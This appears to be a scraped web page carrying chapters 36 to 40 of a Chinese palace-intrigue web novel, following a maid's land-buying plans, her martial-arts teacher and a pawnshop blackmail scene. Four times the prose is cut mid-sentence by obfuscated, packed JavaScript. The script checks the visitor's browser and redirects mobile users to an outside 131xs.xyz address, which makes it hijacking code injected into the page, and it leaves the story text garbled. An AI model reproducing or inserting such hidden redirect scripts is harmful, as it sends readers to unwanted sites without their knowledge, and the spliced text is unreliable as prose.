但后面的内容却让她的眼神骤然变得复杂深沉， 礼佛自然要封寺清道，以示皇家威仪和对神佛的敬重。但贵妃信中提到，考虑到春日香客众多，为免过分扰民，此次出行只预备在进香叩拜的那一个时辰封闭大雄宝殿主殿及左右回廊区域杜氏的手指在这行字上微微一顿，继续看下去。 届时，请母亲务必当日也前往大慈恩寺。 若一切顺利，母女二人可于娘娘进香礼毕，暂歇于寺庙后院静室时，短暂相见叙话。 信的最后，她仿佛能透过字迹看到女儿的期盼与谨慎。 杜氏盯着那几行字，半晌没有动作，郑妈妈垂手侍立在一旁，眼观鼻鼻观心，大气都不敢出。 杜氏缓缓将折叠好的信纸重新放入那明黄封套，并未立刻收起，反而递向身旁的郑妈妈，示意她也看看。 36.第三十六章 玉瑶忧愁 郑妈妈躬身接过，小心翼翼地展开信纸，目光快速扫过上面的字迹。看完，她脸上立刻堆起由衷的笑，“阿弥陀佛！这可是天大的好消息！贵妃娘娘凤体安康，又能与夫人您去佛寺相见，这真是佛祖显灵，保佑我们国公府啊！” 然而，她却发现杜氏唇边那点笑意已然敛去，眉头复又轻轻蹙起，眼神也变得幽深起来。 “你不懂。”杜氏轻轻叹了口气，“玉姝这两年在宫里，身子一直欠安，也失了早年的圣心，不知受了多少熬煎。我日日悬心，食不甘味。如今这信突如其来，她好了，还能出宫相见……”杜氏的指尖无意识地捏紧了丝帕，“我只怕这中间别有什么差错，深宫那个地方，每一道门后都是人心！她好端端的求什么佛？非得亲自出宫去？那日，可莫要出什么事才好！”她的担忧并非毫无来由，贵妃失势再起，不知挡了多少人的道。 郑妈妈闻言，脸上的喜色也淡了些，明白了夫人的顾虑。她略一思忖，凑近一步，安抚劝解道。 “夫人莫急坏了身子，贵妃娘娘既已安排妥当，必定是有了万全之策。况且，”她眼神微动，提议道，“我们也大可做得自然些，届时，夫人便说是带着府里几位小姐去大慈恩寺上香礼佛，为老夫人和娘娘祈福。这样，便是寻常的官眷进香，谁也挑不出理来，人多些，场面也自然，反而不易被人盯上做文章。” 杜氏听着郑妈妈的分析，眼神闪烁，这确实是个稳妥的法子。以教导府中女儿诚心礼佛的名义出行，冠冕堂皇，足以掩人耳目。 “你说得对，玉姝信都来了，无论如何，这场相见，我势必要去的！”她将手中那装着家书的绸套，紧紧按在了胸口，仿佛按住了女儿穿过重重宫门递来的指尖。 一路走回芳华院，主仆三人都有些沉默，此行未能驱散吴玉瑶心头的郁结。进了屋，待素丹去吩咐茶水点心，吴玉瑶才疲倦地坐在窗边小榻上，眼神有些空茫地望着院中初绽的一簇早春花。 千雪悄然上前，将温度适宜的茶盏轻轻放在她手边的小几上。 吴玉瑶被这细微的动静拉回神。她端起茶盏，指尖感受着温热的瓷壁，却没有喝，目光转向千雪，声音里带着自嘲。 “千雪，今日我才真知道，什么是人外有人……”她苦笑了一下，“听母亲说起郑家那败家赌棍时，我竟觉得，王家那万事听娘的毛病，都不算什么顶顶要命的大事了。”她的语气复杂，像是在惊讶于自己心态的转变，由昨日得知王家实情后的失望冰凉，到今日得知郑家更不堪时的荒谬感。 千雪站在一旁，看着吴玉瑶脸上那抹无奈又带点认命的笑意，轻轻摇了摇头。 “小姐，这话可不能这么比。”她声音柔和，“郑家是败家烂泥，臭不可闻，沾都不能沾。王家虽金玉其外，但那孝顺名头下的无主见，若真成了夫妻，天长日久便是那无形的枷锁绳索，一样能把人勒得喘不过气。”她顿了顿，唇角微微弯起一个笃定的弧度，“您别急，也别灰心。这京城勋贵如云，好人家多着呢。俗话说，好饭不怕晚，好的都在后头排着队等您挑呢。” 她抬眼，看清了千雪眼底那份真诚的宽慰和鼓励。 吴玉瑶唇边那抹苦涩终于化开。 “你这丫头，倒会宽慰人。”她放下茶盏，看着千雪眼下的青痕，语气带上了真心实意的关切，“这些日子为我奔忙打听，辛苦你了。” 她略一沉吟，便大方道，“明日准你一天假，不必来跟前伺候，想做什么做什么去吧，好好歇一日。” “真的？”千雪眼中瞬间亮起惊喜的光芒，声音都轻快了几分，“多谢小姐恩典！” 吴玉瑶点点头，看到她脸上掩不住的雀跃，笑意更深了些，只当她是累狠了想休息。 只有千雪自己心里飞快地盘算着，她要去武馆！看师父！ 那个独自坐在门槛上黯然神伤，一碗果酒都能醉倒的师父昨日一别，她心里着实挂念得很。 正好得了这难得的假，又有小姐赏下的零碎银钱还没花完，她琢磨着，再去南街买上几样实惠的下酒菜，去看看师父现在如何了。 千雪悄悄按捺住心头的雀跃，恭敬地退到一旁侍立。窗外日光正好，她的眼角却已经因那份期待而悄悄弯了起来。 离傍晚当值结束还有些时候，她便提前回了下房略作收拾。眼看着天色将晚，她就抱起一个干净的粗布包袱皮，脚步轻快地向府门走去。 后角门的马婆子刚吃完晚饭，正剔着牙，见又是千雪，眼神顿时活络起来，“哟，千雪姑娘这又要出门？姑娘在四小姐跟前伺候，可真真是贵人身边红人了，这进进出出真自在！”话语里是藏不住的酸溜溜的羡慕。能在小姐身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16000124|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边当差，得主子信任能自由出府，在她们这些守门婆子眼里，那就是天大的体面了。 千雪懒得与她多费口舌，脸上堆起惯常的笑容，“劳烦嫂子了，有点小事。”顺手又递过去几个铜板。马婆子立刻笑得见牙不见眼，麻溜地开了小门。 出了府门，千雪深吸一口微凉的晚风，直奔城南熟悉的巷子而去，这回她手里没提酒，只揣着几个用油纸包得严严实实的吃食一包酥脆焦香的卤鸭脖，一包五香毛豆，还有几块洒了白芝麻的烧饼。师父昨日醉成那样，还是少碰酒的好。 推开那扇熟悉又有点摇晃的院门，院子里比昨日更显安静，几个半大的徒弟大概都已归家。厨房里亮着昏黄的油灯光。苏红缨正背对着门口，埋头在水盆边洗刷着什么，动作带着她一贯的利索劲儿。 听到脚步声，苏红缨猛地回头。看清是千雪，她脸上先是掠过一丝惊喜，但随即就尴尬起来，原本流畅的动作也变得有些僵硬，耳根子悄悄爬上一抹红晕。显然，她是想起了昨日自己醉倒在这丫头面前，狼狈哭诉的失态模样。 “师父。”千雪像是完全没看见她那点不自在，笑容一如往常，自然地扬了扬手里油纸包，“饿了吧？给您带了点吃的！”她熟稔地走进厨房，把东西放在小桌子上摊开，浓郁的肉香和五香味立刻散了出来。 苏红缨胡乱在围裙上擦了擦手上的水渍，有些局促地凑过来，目光在千雪坦荡的脸上来回扫了两圈，确认她真的没有半点嘲笑或探究的意思，紧绷的肩膀才稍稍松懈下来。千雪这副无事发生的模样，比任何安慰都让她心里舒服些。 千雪拿起一个鸭脖子，故意在苏红缨面前晃了晃，促狭地眯了眯眼，压低声音笑道，“师父，昨儿个那点甜丝丝的山楂果酒就把您放倒了？啧啧，您这酒量可不行啊！改天得练练！” 苏红缨的脸唰一下更红了，立刻梗着脖子反驳，声音都拔高了一点，“瞎说！谁…谁喝倒了？那是昨天太累了！不就几口果酒吗？我能喝的很！一坛烧刀子都不在话下！”她努力瞪着眼，想做出豪气干云的样子，但那闪躲的眼神和微红的耳尖却出卖了她。 千雪看她这副强撑面子又羞恼的可爱样子，忍不住噗嗤一声笑出声来，却也不揭穿，只是把鸭脖塞到她手里，“行行行，您能喝！改天请您喝真的！来，先把这个补补元气！” 37.第三十七章 夜话 看着千雪眼底纯粹的笑意和递过来的吃食，感受着手里温热的油纸包。 她接过鸭脖，狠狠地咬了一大口，含糊道，“算你有良心！不过，真不是我酒量差！”虽然还在嘴硬，但眉宇间那股自千雪进门就笼罩着的轻快，却是实实在在的。比之昨日那沉在门槛上的萧索背影，此刻的苏红缨，就像是卸下了一半担子，整个人都鲜活了。 昏暗的厨房里，油灯跳跃，食物的香气弥漫。两人就着小桌，啃着鸭脖，吸溜着毛豆，苏红缨偶尔还会挥着鸭骨头比划着辩解自己的海量。千雪笑着听着，偶尔故意逗她一句。 夜幕低垂，小院彻底安静下来。苏红缨的卧房不大，仅容一床一桌，收拾得倒也干净利落。自然无需多言，千雪今晚必然是在这里留宿了。两人洗漱后，便挤在了苏红缨那张并不算宽敞的木床上。窗外月光透过薄薄的窗纸，洒下朦胧的清辉。 初时的静默被黑暗放大，白日刻意忽略的心事便悄然流淌出来。 苏红缨平躺着，双手枕在脑后，望着黑暗中的房梁轮廓，声音褪去了白日的硬气，带着点闷闷的回响， “那日，就是昨天，酒醒后，我找老头，找我爹谈了一次。”黑暗放大了她话语里的迟疑，“他说，他说他非要过继个同宗的男丁不为别的，是怕他哪天一走，我一个女儿家就真成了没根没基的浮萍，担心没人照顾我，怕我受欺负，武馆被人惦记夺了去……” 她说到这里，侧过脸，在黑暗中模糊地看向千雪的方向，尽管看不清彼此的表情，“你说，这话我能信吗？听着像是替我打算，可我总觉得是托词！是借口！他就是骨子里觉得女儿撑不住门楣，觉得苏家必须有个带把儿的才算续了香火！他根本瞧不上我！”她的声音渐渐激动起来，带着被至亲否定的伤痛。 千雪静静地听着，鼻间萦绕着身侧苏红缨身上淡淡的皂角和微汗气息。她沉默片刻，才低低开口，声音在夜色里清晰而平静， “师父，这世道，对女子，本就是千百倍艰难。不是女子不如男，是规矩，礼法，人心，把女子天然就摆在了更低的地方，处处设了无形的坎。您爹的话许是真心想顾你周全，也或许真是存了那份重男轻女的念头，又或者两者都有。但归根结底，是这天地把我们女子该有的根基都抽了，让做父亲的连放心都成了奢侈，总觉得儿子才是依靠。” 这话像一块投入深潭的石子，在苏红缨心底激荡开来。她没想到千雪看得如此透彻。是啊，世道如此！她喉咙有些发紧，“你说得对！太对了！我小时候最大的念想是什么？是想当个跨马横枪的女将军！去边关，和那些汉子真刀真枪地拼！凭本事挣军功！”说起这个，她的语气里又涌起那份压抑已久的豪气和不甘，随即又化为了深沉的无奈，“可谁信呢？只会当我发疯，你呢，千雪？你有没有大念想？” 千雪在黑暗中眨了眨眼，“我啊？我可没有师父您那大鹏展翅的念想。”她声音很轻，“我就想，攒够了钱，赎身，脱了这奴籍的桎梏，然后，去乡下置点田产，做个地主婆。有地种粮，有屋栖身，不依附谁，不看谁脸色，安安稳稳过日子。” “地主婆？”苏红缨愣了一下，随即在黑暗中笑出了声，笑声里却带着明显的赞同和一丝轻松的羡慕，“哈哈哈！你这念想听着比我那女将军好办多了！不用血染沙场，踏实！依我看，你肯定能成！有这份盘算的劲儿，攒钱指日可待！” 千雪也跟着无声地笑了笑。昏暗中，她侧了侧身，面朝着苏红缨在黑暗中的轮廓，声音忽然带上了一份前所未有的认真， “师父，您是个好人。真的。我心里感觉得到。” 这没头没脑的一句夸奖来得突然，还如此郑重。苏红缨的笑声卡在喉咙里，纳闷地反问，“嗯？干嘛突然说这个？怪肉麻的！” 千雪并不在意她的反应，只是就着这份认真继续说下去， “就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009066|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有感而发。”她顿了顿，声音压得更低，带着点试探，“师父我有个事想托您帮忙。” “什么事？直说。”苏红缨快人快语。 千雪吸了口气，终于道出埋在心底的计划， “您知道的，我是奴籍，律法不许奴籍之人私置田产铺面，就是有钱买了，也作不得数。”黑暗给了她勇气，她说的更流畅了，“我在国公府手里也悄悄攒下了一点钱。虽不多，是我一个铜板一个铜板省下来的。”她顿了顿，声音里带着恳切，“师父，若是若是往后有合适的，不起眼的小门脸，或者近郊便宜的薄田您，能不能帮我置下一份？就挂在您的名下？当然，地契房契我收着，也绝不叫您白担风险，该给的托付银钱和打理花费，我一分不少！就是，就是借您一个清白身，帮我占个名。” 这番话清晰地在小小的房间里铺开。 苏红缨沉默了，在黑暗中睁大了眼睛。她万万没想到，千雪这丫头小小年纪，心思竟如此深沉！默默攒钱，规划赎身后路，甚至想到了用她这个“师父”的良民身份来规避律法障碍！ 但这惊讶之后，随之涌上的，竟是一种奇异的熨帖感。千雪能把这么隐秘，几乎算是把身家性命所托的大事直接说给她听，还明言“信她是个好人”……这不是把她当恩人，是把她当成了真正的，可以信任依靠的家人！ 这份沉重的信任，比任何奉承或感激都让苏红缨触动。她甚至没多想那可能的麻烦和风险，那股骨子里的江湖豪气和对这份信任的珍视瞬间占了上风。 她猛地一拍被子，透着一种爽快的豪气， “就这点事？！我还当什么大事！包在我苏红缨身上了！以后你有钱只管拿来，看到合适的铺子，寡荒地，师父给你留意着！一定给你置办妥帖！” 她声音洪亮，在万籁俱寂的夜晚震得千雪耳膜嗡嗡响，却也像一道暖流，冲入千雪心中，黑暗中，千雪嘴角弯起，无声地笑了。 38.第三十八章 张藏 天刚蒙蒙亮，千雪正想趁着难得休息赖个床，苏红缨早就洗漱妥当。 “雪丫头！还睡？起来！吃饭练功！” 千雪勉强睁开一丝眼缝，苏红缨已经一身短打，笔挺地站在门口，厨房飘来粥和咸菜的香味儿。 千雪一个激灵，这才想起来，师父不光能打，做饭也是一把好手。懒觉是睡不成了！不过练功这俩字一入耳，她那点瞌睡虫立马飞了。手脚麻利地爬起来套上衣服，揉着眼就往厨房冲。 小木桌上摆得挺齐，热腾腾的白粥，咸脆的腌萝卜条，还有几块煎得金黄冒油花的葱油饼。师徒俩对坐，苏红缨吃得跟抢似的，还催，“快点！吃饱才有力气挨揍！” 饭碗一撂，阳光正好铺满小院。苏红缨早就活动开了手脚，戳在院子里稍平点的空地上，身板绷得溜直，两眼跟钩子似的盯着还没完全清醒的千雪。那股子雷厉风行的劲儿又回来了，没忘自己还顶着师父的名头呢。 “愣啥？站桩去！”苏红缨下巴一努，指向院角那几根挂破布条的竹竿架子。“肩膀沉下去！腰放松！感觉劲儿往下沉！屁股往下坐！下盘稳住了！” 千雪深吸一口气，把最后那点懒劲儿甩掉。她知道师父是真肯教自己。赶紧站到桩前，心一沉，按着昨天教的法子，沉肩，松腰，屈膝，感觉整个人往下“坐”。汗珠很快顺着脸往下淌，腿肚子开始打颤发酸，她咬紧牙关硬撑着。 苏红缨背着手，眼珠子围着她打转，每一丝动作都别想逃过。 “左膝盖！别歪！脚尖给我钉死地上！” “腰！猫着干啥？挺直溜的！” “再撑住数五个数！一！二！” 嗓门敞亮，教学的时候苏红缨很是认真，没半点商量的余地。姿势稍有点变形，她一步踏前，手指头精准地往千雪后背或者腰眼上一戳。力道不轻不重，偏偏就能让千雪猛地一激灵，瞬间明白劲儿该往哪儿使，姿势该怎么摆。不是硬来，全是巧劲儿。 千雪全身绷得铁紧，两条腿越练越沉，气儿都喘不匀乎了，吭哧吭哧的。可她眼睛却越来越亮师父每一次戳点，都像直接把她脑子里那点迷糊给戳破了，身体怎么使劲儿，气怎么走，一下子清楚多了！ 整整一上午，这小破院里啥也没有，就竹竿子和破布条。苏红缨教得起劲儿，一招一式掰开揉碎了喂进千雪脑子里。千雪更不敢半点马虎，粗布衫早被汗水湿透了，骨头都在叫唤着酸疼。可心里头那份靠自个儿本事立身的踏实劲儿，就跟小院里被她踩得梆硬的地面一样，越来越沉，越来越稳。 等到日头悬挂在头顶，苏红缨终于喊了声“歇！”千雪如蒙大赦，整个人像被抽了骨头似的，噗通一声直接瘫坐在院角的阴凉地，大口喘着粗气，汗水淋漓。 苏红缨扔给她湿毛巾，自己灌了几口凉水，看着千雪的模样，促狭一笑，“这点儿就趴下了？不过……”她话锋一转，“昨晚你不是念叨着想置办点产业吗？下午得空，要不要去看看？” 千雪眼睛瞬间亮了，立刻点头，“要！” “行！”苏红缨一拍大腿，“那就出去吃！师父请客！” 两人换好衣裳，来到城南老街那家苏红缨熟悉且经常光顾的刘家饭馆，油亮的肉丝面，翠绿的青菜，喷香的溜肝尖儿下肚，疲惫尽扫。吃完，苏红缨熟练地记了账。 出了饭馆，苏红缨带着千雪拐进另一条更窄，更破旧的巷子。尽头一个挂着褪色木牌，苏红缨抬手就敲。 门开了。 一个约莫二十出头的青年探出身来，他穿着一件浆洗发白的青布长衫，浆洗得笔挺却难掩陈旧，袖口磨得有些起毛。腰上没挂算盘，倒是插着一支用了半截墨的旧毛笔。头发梳得还算整齐，只是脸色透着点久不见光的苍白，眉眼清秀。看到苏红缨，他那原本带点拘谨微笑的脸立刻生动起来，局促地拱了拱手。 “红缨姑娘？快请进快请进！”他声音清朗，下意识带上了点文人气。瞥见苏红缨身后的千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013903|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪，虽不认识，也客气地侧身相让。 “少整这些虚礼，张藏！”苏红缨大大咧咧走进去，“这是我徒弟，千雪。”又对千雪道，“这书呆子，叫张藏，字子慎，落榜好几次了，家道中落，没法子在这儿糊口饭吃，帮人跑跑腿介绍个田宅。叫他张秀才或者老张都行。” 千雪跟着行礼，“张秀才。” 张藏脸微微一红，忙摆手，“不敢当不敢当，如今……唤我子慎便可。”他看向千雪，“听红缨妹子说，千雪姑娘是想看看产业？不知姑娘作何打算？” 千雪道，“子慎先生安好。想看看有无合适的小铺面或薄田，置办下来，或收租或做些小营生。”她对这落魄文人多了几分好奇。 张子慎听闻，他沉吟道，“铺面好地段自然金贵，然京中浮华喧嚣，也未必佳选。倒是置办些良田，耕读传家之本……” 苏红缨毫不客气地打断他，“少掉书袋！说人话！有没有现成能看的铺子？” 张子慎被噎了一下，却不生气，还笑了笑，随即道，“有，有！我这便领二位去看几家。” 一下午，张子慎带着师徒二人穿梭在城南的大街小巷。他显然对这片极熟，边走边说，“此街名曰青云，取鱼跃龙门之意，然近些年，市井混杂……”他语速不快，带着点分析的味道，不像寻常牙人那般油滑世故。 看了三家铺子。 第一家位置尚可，要价奇高。张子慎摇头，“太过了，市侩之所……” 第二家在背街冷清处，地方宽敞便宜些。千雪还没说话，张子慎便自己先皱眉，“不成不成，人气不足，犹如水之涸泽，恐难以为继……” 第三家位置适中，大小也合千雪心意。张子慎打听后，却脸色微变，悄声对二人道，“这铺子…据说与邻里土地神位有些纠葛，前任主家败落时闹得颇大，恐有晦气，非佳选。”言语间颇有避讳。 一圈看下来，一无所获，千雪面露失望，苏红缨也挠了挠头。 39.第三十九章 杜鹃 张子慎见状，犹豫了一下，文人气又冒了出来，却也知道该说什么，“千雪姑娘莫急，这城中，寸土寸金，欲求安妥又合算者，实属不易。不如求诸田亩？《齐民要术》有云……” 他刚开了个头，见苏红缨瞪眼，立刻改口，“咳！在下意思是，京都附郭之良田，多为官绅勋贵所有，不易购得。若姑娘所求安稳，可往远郊寻些薄田沙壤，如西郊二十里外清溪河一带，或南边三十里外杨柳庄附近。虽非膏腴之地，但价廉物清，契税也明晰……” 他说到这里，眼神亮了亮，声音也压低了些，带着点发现好货的小兴奋，“对了！还有一种小庄！便是带几亩薄田，两间房舍的小庄！此种庄子，位置多在乡野，主家或迁或败，常有放售。虽路途稍远，然胜在房田俱全，置下后或佃与农户，或雇人照管，种些时蔬粮秣，岁末亦有盈余，乃安身立命，积少成多之道也！在下这几日便为姑娘留意！若有价格在五六十至百两纹银之间的庄契放出，定第一时间告知红缨妹子！” “小庄子？！”千雪的眼睛瞬间亮了起来！带田带屋！这不正是她梦寐以求的地主婆基石吗？！远点不怕，那是根基！ 她看着眼前这位思路清晰，分析透彻，身上文人气和牙人身份糅合在一起的年轻书生，心中更多了几分信任，“子慎先生！那就拜托您了！若有这样的小庄子，价钱又在我的钱…嗯，预算之内，您务必帮我留住！佣金我不会少的！” 张子慎连忙拱手，“岂敢岂敢，红缨姑娘的徒弟，自当尽心！在下定当留意！”他面上又浮起一丝读书人的赧然。 离开牙人那破旧小屋时，日已西斜。苏红缨一边走一边对千雪嘀咕，“这小子，人是死板了点，当了牙人也改不了那酸气，但办事还算实诚，有点门道。他以前可是正经念过书的，要不是家里拖累……唉！”言语间倒有几分惋惜。 苏红缨正絮絮叨叨地抱怨张子慎那改不了的文人酸气和掉书袋的毛病，千雪却看着苏红缨那副大大咧咧的样子，想起张子慎在提到红缨姑娘时眼神那点不自然，以及面对苏红缨直来直去的问话时微红的耳根，心中一动，忍不住促狭的出声打趣。 “师父，您没发现吗？那位子慎先生，和您说话时，好像特别容易脸红呢。”她眨眨眼，带着一点狡黠。 苏红缨正说得起劲，闻言一愣，停下脚步，满脸都是坦荡的疑惑和不解。 “脸红？有吗？为啥？”她眉头皱起，认真琢磨，“难不成是怕我骂他掉书袋？可我也没真骂他啊！最多就是催他两句说人话嘛！”她显然根本没往别的方面想，只觉得是不是自己太凶吓到了那个书呆子。 千雪看她这副全然不开窍，只从打骂角度找原因的耿直模样，忍不住憋着笑，摇了摇头，“噗，也许吧。”她也不点破，师父这性子，说了她也不见得明白，反而添尴尬。 她扭过头去，嘴角的笑意还未完全收起，目光漫不经心地扫过街对面一家半掩着门收摊的小杂货铺门口。 突然！ 千雪脸上的笑容猛地僵住！ 在暮色渐沉的街角昏暗处，杂货铺斜对面一家当铺不起眼的后门廊柱后面，一个穿着青葱色比甲，正探头探脑，缩头缩脑的身影，显得格外眼熟！那侧脸轮廓，走路时略微有点慌张的样子…… “杜鹃？！”千雪心头警铃大作，几乎要脱口而出！那分明就是三小姐吴玉颜身边那个惯常跟着煽风点火，嘴碎机灵的贴身大丫鬟杜鹃！ 她怎么会在这里？！ 而且看她那副缩在角落，东张西望的鬼祟模样，绝不是在帮三小姐办什么光明正大的差事！倒像是在盯梢？或者在等什么人？ 千雪下意识地一把抓住苏红缨的手臂，把她往自己身边拽了拽，迅速隐入旁边店铺屋檐下的阴影里。 “师父！小声点！看那边！穿青比甲那个是府里三小姐身边的丫鬟！鬼鬼祟祟的，不知在干什么！” 苏红缨被猛地一拽，先是一愣，她顺着千雪的目光望去。 果然看到那青葱比甲的身影躲在廊柱后，偶尔小心翼翼地朝当铺后门的方向张望一下，又飞快地缩回头，紧紧攥着手里的什么东西藏在袖子里。 苏红缨眉头拧紧，久在街面上行走的直觉让她嗅到了一丝不正常的气息。 “丫鬟私出替主子办点不能明说的事不稀奇，可你家……是堂堂国公府！规矩大过天！她一个大丫鬟，跑到这城南鱼龙混杂的地方当铺后门蹲点？哼！”她发出一声带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022118|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷意的轻哼，“怕是，怕不是什么好事！” 千雪听了这话深以为然，毕竟不久前她也替四小姐出来打探消息，都是些不能明说的事。 苏红缨看向千雪，“她看到我们没？” “应该……没看到。”杜鹃的注意力显然全在当铺那边。但千雪心中不祥的预感却越来越浓。三小姐吴玉颜，她派心腹丫鬟跑到这地方来，想干什么？ 没过多久，只见当铺后门吱呀开了一条缝。店铺里一个青衣小帽的伙计探出半个身子，警惕地左右看了看。躲在廊柱后的杜鹃立刻像受惊的兔子般跳出来，飞快地将藏在袖筒里的一个鼓鼓囊囊的蓝布小包袱塞进伙计怀里。 伙计接过包袱，似乎隔着布捏了捏里面的东西，又掂了掂分量，脸上没什么表情，只点了点头就缩回门里。 大约等了半盏茶的功夫，当铺后门再次开了。这次出来的是一位头戴瓜皮小帽，穿着半新绸缎马褂的掌柜模样的人。他神情倨傲，手里捏着个东西，走到杜鹃面前。 昏暗的光线下，看不清那物件的具体模样，只隐约感觉像是块玉佩或是金锁片，不大。 掌柜低声说了几句，似乎是在议价。杜鹃显得很紧张，搓着手，声音又低又急，像是在争辩什么。最终，掌柜不耐烦地点点头，从怀里掏出两张小小的银票，递了过去。 杜鹃接过银票，借着微弱的光线仔细看了看，飞快地揣进怀里贴身的口袋，然后转身就走，脚步匆忙慌乱，像逃一般钻进旁边的窄巷。 “典当？”苏红缨压低的声音带着一丝惊诧和了然，“看她那做贼心虚的样儿！鬼鬼祟祟来这地界典当东西？十有八九是偷了主子的好东西！胆子可真够肥的！这可是吃挂落甚至掉脑袋的勾当！” 千雪心头一凛，杜鹃作为三小姐吴玉颜最贴身，最得脸的丫鬟，待遇丰厚，犯得着冒险偷主子的东西出来典当吗？这风险太大了！除非，是给主子办事？可主子有什么东西需要这样偷偷摸摸当掉？不合理！又或者是她自己？千雪心思电转，直觉其中必有极大的蹊跷。 “跟上去看看！”千雪当机立断，苏红缨立刻点头，“走！这块我门儿清！”她脸上甚至掠过一丝兴奋，像发现了什么刺激的猫鼠游戏。 40.第四十章 渣男 两人保持着不近不远的距离，借着地形和暮色的掩护，悄无声息地缀在杜鹃身后。 杜鹃显然对这一片不熟，走得有些迟疑，还不时紧张地回头张望，但并未发现身后跟着两个人。 七拐八拐，杜鹃最终停在了一条僻静巷口深处的一个破旧小院门口。 她没进去，只是焦急地在门口不远处来回踱步，时不时朝巷口望去，显然是在等人。 千雪和苏红缨迅速闪进另一户人家门楼的阴影里，屏息凝神。 没过多久，小院那略显破旧的门扉被轻轻拉开，一个年轻男子走了出来。 这男子约莫二十上下，身量颀长，穿着一件半旧的靛青色细布长衫，头发用同色儒巾束得一丝不苟，面容清瘦，眉眼间乍看之下，竟透着一股子读书人特有的斯文气。只是那眼神略有些飘忽，他手里习惯性地拈着一柄合拢的素面竹骨折扇，姿态倒也端方。 千雪在暗处看着，心里却生出一丝怪异此人模样打扮，分明是个看似知礼的年轻读书人，举手投足也刻意模仿着那份端正，可偏偏选在这等藏污纳垢之地与人私下会面？这身书卷气与他身处这破败环境对比，显得格格不入，甚至透着几分虚伪做作。 况且，这不过二月的光景，晚风料峭，寒意未消，他拈着那把扇子，更是透着一股莫名的别扭劲儿。 杜鹃一见这人出来，立刻迎了上去，脸上带着一丝厌恶，急切还有惧怕。她急促地说着什么，手伸向他，显然是在索要某样东西。 这看似斯文的年轻男子只是淡淡睨了她一眼，姿态端稳，嘴角上扬，离得远千雪也看出了那笑不怀好意。 对于杜鹃带着哭腔的追问和索要，他不仅置若罔闻，反而微微抬手，伸出三根手指，慢条斯理地捻了捻那是个标准的，要钱的手势。神态间带着一种居高临下的敷衍和不耐烦。 杜鹃似乎被激怒了，上前一步欲拉住他的衣袖争辩。 就在这一瞬间！ 那年轻男子眼中一丝戾气猛地迸出！他甚至没有犹豫，一直拈着折扇的手猝然扬起。 “啪！” 一记耳光，结结实实地抽在了杜鹃的脸颊上！声音之清脆，在这寂静的窄巷里落入了千雪和苏红缨耳中。 “畜生！”苏红缨眼睛瞬间瞪圆，胸中怒火狂烧！打女人！还是个装腔作势的读书人！ 杜鹃甚至没来得及反应，整个人就被这用了十足力气的一掌扇得踉跄数步，狠狠地掼倒在地！她半张脸顿时高高肿起，嘴角破裂，殷红的血丝顺着嘴角迅速渗了出来。 而那男子，在甩出耳光之后，脸上的戾气瞬间收拢，又恢复了那副略带疏离的斯文样，仿佛刚才那暴起打人的不是他。 他甚至微微整了整自己的衣襟袖口，然后像什么事都没发生一样，再次对着地上瑟瑟发抖的杜鹃，清做出了那个捻动的手指的动作，要钱！ 杜鹃被这一巴掌打懵了，她连滚带爬地挣扎着坐起，手哆嗦着伸进怀里，掏出了那两张刚刚典当得来的，尚带体温的银票，递向那个男子。 男子迅速抽走银票，看都没看地上的人一眼，转身欲走。 “等，等等！”杜鹃捂着剧痛的脸颊，眼泪和血混合着淌下，嘶声道，“东西！你答应过的！把东西给我！” 男子脚步微顿，侧过半边脸，他轻轻晃了晃空空如也的手，“东西？什么东西？杜鹃姑娘在说什么胡话？”随即摇了摇头。 “东西可是你们自己给我的，那有要回去得道理。”说罢，再不理她，径直走进了院门。 她明白了，这人根本就是耍她！既不会把东西还她，又要一次次从她这里榨钱！心里涌上来了巨大的愤怒和被戏耍的屈辱，可她却无计可施。 钱没了，脸肿了，她捂住脸，只能低着头，像被抽了魂一样，失魂落魄地转身往巷口走，边走边压抑地啜泣。 千雪和苏红缨看着这一切，心头憋着一股气。 杜鹃失魂落魄地走着，刚拐过巷口。 “杜鹃！”千雪的声音突然响起。 杜鹃猛地抬头！ 